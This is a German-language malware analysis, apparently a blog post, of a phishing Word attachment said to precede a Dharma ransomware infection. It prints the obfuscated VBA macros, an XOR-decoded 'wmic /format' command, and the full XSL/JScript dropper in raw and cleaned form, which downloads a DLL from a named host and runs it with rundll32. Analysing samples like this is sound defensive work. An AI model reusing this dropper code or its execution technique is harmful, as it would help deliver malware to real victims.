Anfang Februar erreichte mich ein Sample einer Schadsoftware das per E-Mail-Anhang als verschlüsseltes ZIP-Archiv (Passwort 333) „Anhang.zip“ verschickt wurde. Der E-Mail-Anhang wurde vom Opfer geöffnet, die Makros wurden aktiviert und ausgeführt. Wenige Stunden später, war der Rechner des Opfers verschlüsselt.
Die verschlüsselten Dateien wiesen die Endung .crown auf, was auf die Ransomware Dharma hindeutet. Schauen wir uns an, was da genau passiert ist.
1 Beginn der Infektion
(1) Anhang.zip (Anhang der E-Mail)
MD5 9698ef308c04e114b0f12ad796934cb8
SHA1 64cc4f8ea57ff3b29f148484bd39ffb77e8aa053
(2) info_01_22.doc (Inhalt von Anhang.zip)
MD5 112686fb2e4b245daa8187975326977b
SHA1 42252841e7f083628a51895a31edcacbd1f85d80
Das spätere Opfer erhielt die folgende E-Mail mit dem o.g. Anhang:
Inhalt des ZIP-Archivs war eine Microsoft Word .doc-Datei mit dem Hinweis, dass zum Anzeigen der Inhalte der Word-Datei die „Inhalte aktiviert“ werden müssten. Nicht erwähnt wurde, dass dadurch der in der Datei enthalten Schadcode ausgeführt werden würde.
2 Analyse der Word Makros
Im Editor von Microsoft Visual Basic for Applications ist zu erkennen, dass die Datei drei Module und ein Formular „frm“ enthält. An den den Namen der drei Module lässt sich bereits hier erkennen, dass der Quellcode obfuscated, also verschleiert ist.
Das Formular enthält zwei Texteingabefelder (Name „a“ und „b“) und einen Button. Jedes der zwei Textfelder enthält augenscheinlich eine Art von Code.
Schauen wir uns zunächst den Inhalt der zwei Textfelder an:
Anmerkung: Es handelt sich nicht um den vollständigen Code.
Es werden nur Auszüge dargestellt.
a) Wert Texteingabefeld „a“:
<?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="https://microsoft.com/xxx"> <msxsl:script language="JScript" implements-prefix="user"> <![CDATA[ var aGMyq = "aEoVi"; ajDnL4 = aGMyq.toLowerCase(); aeXyRQ = "a9kKgs"; var agVal = aeXyRQ.length; apibh = true; a06Ey = true; var acqo6i = -54331; var aGFKvR = false; aP2A6 = false; var arPFs1 = false; var acXxi = -46569; a5CiB = "ad6l5"; var aILmBi = a5CiB.toString(); var aJYrc = new ActiveXObject("wscript.shell"); ' Code gekürzt.
b) Wert Texteingabefeld „b„:
N%").toUpperCase(); var aSKVA = "aa9AI"; var a3NLJ = aSKVA.length; var ah9ZgP = (aqkGg != a5eqnp); var atuj9n = 22818; ]]> </msxsl:script> <msxsl:script language="JScript" implements-prefix="user"> <![CDATA[ function a0Mdws(anOjt) { aG9uq = "aj5Bhv"; var aNg5i = aG9uq.length; aDo6J = -64354; a1BJnC = false; adDPF = false; ' Code gekürzt.
Klar zu erkennen: Es handelt sich um Code. Aber wie soll der auf die Festplatte gelangen und ausgeführt werden? Schauen wir uns dazu den Code der drei VBA-Module an:
' ------------------------------------------------ Modul AFO0Z Public Sub aQYG4() Dim aTH5IG As Long aTH5IG = 29961 * 1 ' Competitions Dim ax0BV9 As Long Dim a7Iyq As Long ax0BV9 = 69 a7Iyq = 59 anYPT5 = ax0BV9 * a7Iyq ' Viscount welcome nec bole always Dim auUYRo As Long auUYRo = 16668 * 1 ' Pres theocracy chaldea lighting Dim a3KCG Dim a9q8mK a3KCG = 108 a9q8mK = 46 aujSR = a3KCG - a9q8mK Set aXxS8Y = New frm atsmAq = aXxS8Y.a.value aaEXsM = aXxS8Y.b.value a5FU93 = atsmAq + aaEXsM aWBcal = "sl" Open a7z3x + akPy3Q + "p\\ay9Du.x" + aWBcal For Output As #1 ' Code gekürzt. ' ------------------------------------------------ Modul apwzM Function ajGOV() ajGOV = Array(7, 0, 71, 71, 71, 0, 0, 68, 68, 68, 0, 5, 73, 73, 68, 70, 5, 3, 3, 7, 73, 86, 93, 11, 80, 97, 28, 92, 68, 121, 85, 72, 64, 81, 121, 86, 82, 74, 65, 75, 76, 82, 121, 31, 70, 7, 31, 81, 68, 72, 87, 74, 67, 10, 5, 81, 86, 76, 73, 5, 86, 86, 64, 70, 74, 87, 85, 5, 70, 24, 71, 71, 71, 5, 81, 64, 86, 3, 3, 76, 72, 82, 24, 68, 68, 68, 5, 81, 64, 86, 7, 5, 70, 10, 5, 65, 72, 70) End Function Sub main() Dim afBSqU For afBSqU = 16 To 39 Debug.Print Error(afBSqU) Next afBSqU ' Bulkhead bp goody mongol Dim aQxaJ As Long aQxaJ = 2732 * 2 ' Every cattle indoor Dim aWZgF aWZgF = 15241 + 2 ' Beech shopper credibility boobs accomplice seafood ' Code gekürzt. ' ------------------------------------------------ Modul aVWAX Public Const a7z3x As String = "c:\\w" Public Const akPy3Q As String = "indows\\tem" Public Const aMeRxC As String = "" Function aCYzu(aI6QS2, aQ4ZCy) aXWiPS = "" For aSuHBv = 0 To UBound(aI6QS2) aTRsA = aI6QS2(aSuHBv) Xor aQ4ZCy ' Code gekürzt.
Wir haben es hier mit obfuscated VBA-Code zu tun. In Zeile 36 ist ein Array mit Ziffern zu erkennen und in Zeile 64/65 sehen wir eine Schleife mit einer XOR-Operation. Ein deutlicher Hinweis das hier etwas mittels XOR „entschlüsselt“ wird.
Machen wir den Code wieder leserlich. Das sieht dann etwa so aus:
' ------------------------------------------------ Modul AFO0Z Public Sub WriteToFile() Set DocumentForm = New frm DocumentForm_a_value = DocumentForm.a.value DocumentForm_b_value = DocumentForm.b.value OutputValue = DocumentForm_a_value + DocumentForm_b_value Open "c:\\windows\\temp\\ay9Du.xsl" For Output As #1 Print #1, OutputValue Close #1 End Sub ' ------------------------------------------------ Modul apwzM Function Payload() Payload = Array(7, 0, 71, 71, 71, 0, 0, 68, 68, 68, 0, 5, 73, 73, 68, 70, 5, 3, 3, 7, 73, 86, 93, 11, 80, 97, 28, 92, 68, 121, 85, 72, 64, 81, 121, 86, 82, 74, 65, 75, 76, 82, 121, 31, 70, 7, 31, 81, 68, 72, 87, 74, 67, 10, 5, 81, 86, 76, 73, 5, 86, 86, 64, 70, 74, 87, 85, 5, 70, 24, 71, 71, 71, 5, 81, 64, 86, 3, 3, 76, 72, 82, 24, 68, 68, 68, 5, 81, 64, 86, 7, 5, 70, 10, 5, 65, 72, 70) End Function Sub main() Call WriteToFile Set WindowsShell = New WshShell WindowsShell.run StrReverse(Decrypt(Payload, 37)), 0 End Sub ' ------------------------------------------------ Modul aVWAX Function Decrypt(payload, xor_key) output = "" For i = 0 To UBound(payload) ascii_code = payload(i) Xor xor_key output = output & Chr(ascii_code) Next Decrypt = output End Function
Deutlich besser lesbar, oder? 🙂 Also, was geht hier vor sich?! Unser Einstiegspunkt findet sich in Zeile 20 in der „Sub main()“. Es wird zunächst die Funktion „WriteToFile()“ aufgerufen.
In der Funktion „WriteToFile()“ werden die Werte der beiden Texteingabefelder des Formulars („a“ und „b“) ausgelesen und aneinander gehängt. Der resultierende Wert wird in die Datei „c:\windows\temp\ay9Du.xsl“ geschrieben.
Im zweiten Schritt (Zeile 21) wird eine Instanz der Windows-Shell erstellt.
Im dritten und letzten Schritt wird der im Payload (Zeile 16) enthaltene auszuführende Kommandozeilenbefehl mittels der Funktion „Decrypt()“ (Zeile 25) dekodiert. Die Zeichen im Payload sind mit dem XOR-Key „37“ verschlüsselt und in umgekehrter Reihenfolge angegeben. Danach wird der dekodierte Befehl über die Windows-Shell ausgeführt.
Der ausgeführte Befehl lautet:
cmd /c "set aa=wmi&&set bbb=c process list /format:"c:\windows\temp\ay9Du.xsl" && call %aaa%%bbb%
Genauer:
wmic process list /format:"c:\windows\temp\ay9Du.xsl"
Es wird also der Inhalt der zuvor gespeicherten Datei ausgeführt.
Bei der Word-Datei bzw. dem darin enthaltenen Schadcode handelt es sich somit um einen klassischen File-Dropper. Es wird Schadcode ausgeführt der dann vermutlich weiteren Schadcode nachlädt.
3 Analyse des Codes in „ay9Du.xsl“
Wie oben schon beschrieben, besteht der Code der in die Datei „ay9Du.xsl“ geschrieben wurde aus den zusammengefügten Inhalten der zwei Formularfelder „a“ und „b“. Insgesamt stellt sich das Ganze dann wie folgt dar:
<?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="https://microsoft.com/xxx"> <msxsl:script language="JScript" implements-prefix="user"> <![CDATA[ var aGMyq = "aEoVi"; ajDnL4 = aGMyq.toLowerCase(); aeXyRQ = "a9kKgs"; var agVal = aeXyRQ.length; apibh = true; a06Ey = true; var acqo6i = -54331; var aGFKvR = false; aP2A6 = false; var arPFs1 = false; var acXxi = -46569; a5CiB = "ad6l5"; var aILmBi = a5CiB.toString(); var aa5sN = 45514; awlRv = -63767; avrqHf = 60270; aNAKrM = false; aJAar = -6373; aFl4w = 56836; var a3dYNV = true; var aJKlcp = []; ]]> </msxsl:script> <msxsl:script language="JScript" implements-prefix="user"> <![CDATA[ var aZpJx = false; aUfPgb = false; var aJYrc = new ActiveXObject("wscript.shell"); var a2DMuV = 38379; afGHRN = false; az6a0m = false; var aMVZT2 = true; var aruVD = "http://jadityaieelyse.com/gunshu/lewasy.php?l=inflaw6.cab"; var agKLs = false; var aXard = 37544; apsht = 25174; a0Esx4 = 2116; var aKuGA = 9660; adHja = -5245; function ayKOB(alvQIi) { arMa7 = -60530; var aMSoWB = -38383; var aPWaX = "aO8AVK"; var aGq19 = aPWaX.toUpperCase(); var a4Xu1 = 24084; ahXz7o = "a8Ehw"; var aGj2Zv = ahXz7o.length; atXCW = true; var aTAYUO = "aEWij"; aJkbn2 = aTAYUO.length; var apFN8r = true; var a2G7m = "LoverundLovell32 ".replace(/Love/g, ''); aJYrc.run(a2G7m + alvQIi + ",DllRegisterServer"); var aQBIO = false; aizds = true; apRFWd = "aiYOkU"; } aNY2dG = "artqD"; var aCD1S = aNY2dG.length; var a9owqh = -14589; var aUDkJ5 = "aayMA"; a0OGc = aUDkJ5.toString(); var aqkGg = aJYrc["expandenvironmentstrings"]("%COMPUTERNAME%").toUpperCase(); aBQ5V9 = 41668; acq4Rj = "agOx3F"; var amUPWC = acq4Rj.toString(); var a5eqnp = aJYrc["expandenvironmentstrings"]("%USERDOMAIN%").toUpperCase(); var aSKVA = "aa9AI"; var a3NLJ = aSKVA.length; var ah9ZgP = (aqkGg != a5eqnp); var atuj9n = 22818; aRANH = "acO7X"; var aW0ANr = aRANH.toUpperCase(); var a8bnLs = "aXK7uk"; aJxejk = a8bnLs.toUpperCase(); if(ah9ZgP == true) { var a2LQC1 = "aOWtQ"; var aX3gq = a2LQC1.length; aeEn3 = false; var ajeOE = "aEe85b"; var aPqDW2 = ajeOE.toString(); aruVD = aruVD + "z"; } ]]> </msxsl:script> <msxsl:script language="JScript" implements-prefix="user"> <![CDATA[ function a0Mdws(anOjt) { aG9uq = "aj5Bhv"; var aNg5i = aG9uq.length; aDo6J = -64354; a1BJnC = false; adDPF = false; var a76fO = "c:\\windows\\temp\\aNZ4d5.dll"; var aDGRO = true; var avXDY = -42701; aP8BT0 = -23927; aJZ6M = false; var aSwTg = new ActiveXObject("msxml2.xmlhttp"); a5rFjn = -47278; aER3r = "aTuJeK"; auxmlD = 64850; aSwTg.open("GET", aruVD, 0); arivN2 = "agQDzr"; ad9v6l = true; var aN2UAO = -30284; aSwTg.send(); ayGdV = -42157; aZCxl = 44756; if(aSwTg.status === 200 && aSwTg.readystate === 4) { var adcgKI = "aqgPom"; var aG1sj0 = adcgKI.length; var aNjBOt = new ActiveXObject("adodb.stream"); aRSbuh = 45892; var aD23ku = 50960; aNjBOt.open(); aNauVM = -62894; aS6VHv = 17439; var ai5P6 = "aKuBN"; a2RDw = ai5P6.length; var aLd3P = -60630; aNjBOt.type = 1; aNjBOt.write(aSwTg.responsebody); aOrf2M = -43537; var a9Pe1S = "aoy1pw"; aMpu8 = a9Pe1S.toLowerCase(); var aK047B = true; var a7XCu9 = "aHAYFO"; aNjBOt.savetofile(a76fO, 2); var abUKD = "afY5ic"; aspd8 = "a8s7m"; var a5F29H = aspd8.toLowerCase(); var aZ1Lz = false; var a5CoMw = "acvrI"; agubwd = true; aNjBOt.close(); //aJYrc.run(a76fO); ayKOB(a76fO); aAHfd = -51472; asuN4n = -25160; apfNBA = false; var azYZo = false; } } ]]> </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:a0Mdws('')"/> </xsl:template> </xsl:stylesheet>
Und mit ein wenig Code-Cleanup sieht es wie folgt aus:
<?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="https://microsoft.com/xxx"> <msxsl:script language="JScript" implements-prefix="user"> <![CDATA[ // Globals var WshShell = new ActiveXObject("wscript.shell"); var payloadUrl = "http://jadityaieelyse.com/gunshu/lewasy.php?l=inflaw6.cab"; function runDll(command) { WshShell.run("rundll32 " + command + ", DllRegisterServer"); } // Globals var computername = WshShell["expandenvironmentstrings"]("%COMPUTERNAME%").toUpperCase(); var userdomain = WshShell["expandenvironmentstrings"]("%USERDOMAIN%").toUpperCase(); // Check if the pc belongs to a windows domain, so it might be a corporate system. // Looks like coporate systems get a different paylod as privately used systems. if(computername != userdomain) { payloadUrl = payloadUrl + "z"; } ]]> </msxsl:script> <msxsl:script language="JScript" implements-prefix="user"> <![CDATA[ function runMain(not_used_parameter) { // not_used_parameter is == '' var downloaded_dll_file_name = "c:\\windows\\temp\\aNZ4d5.dll"; var xmlhttp = new ActiveXObject("msxml2.xmlhttp"); xmlhttp.open("GET", payloadUrl, 0); xmlhttp.send(); if(xmlhttp.status === 200 && xmlhttp.readystate === 4) { var adodb_stream = new ActiveXObject("adodb.stream"); adodb_stream.open(); adodb_stream.type = 1; adodb_stream.write(xmlhttp.responsebody); adodb_stream.savetofile(downloaded_dll_file_name, 2); adodb_stream.close(); //aJYrc.run(downloaded_dll_file_name); runDll(downloaded_dll_file_name); } } ]]> </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:runMain('')"/> </xsl:template> </xsl:stylesheet>
Was sehen wir hier? Von einem Server im Internet wird eine DLL nachgeladen und auf dem System gespeichert. Dann wird diese DLL ausgeführt.
4 Ende
Und an dieser Stelle ist erstmal Ende mit der Analyse. Der Server von dem der Code in Schritt 3 nachgeladen werden sollte war zum Zeitpunkt der Analyse nicht mehr verfügbar. Somit war es nicht möglich diesen Teil zu untersuchen.
Aber gute Nachrichten: Alle verschlüsselten Daten konnten aus einem Backup wieder hergestellt werden.
Und selbstverständlich steht hier nicht alles drin 😉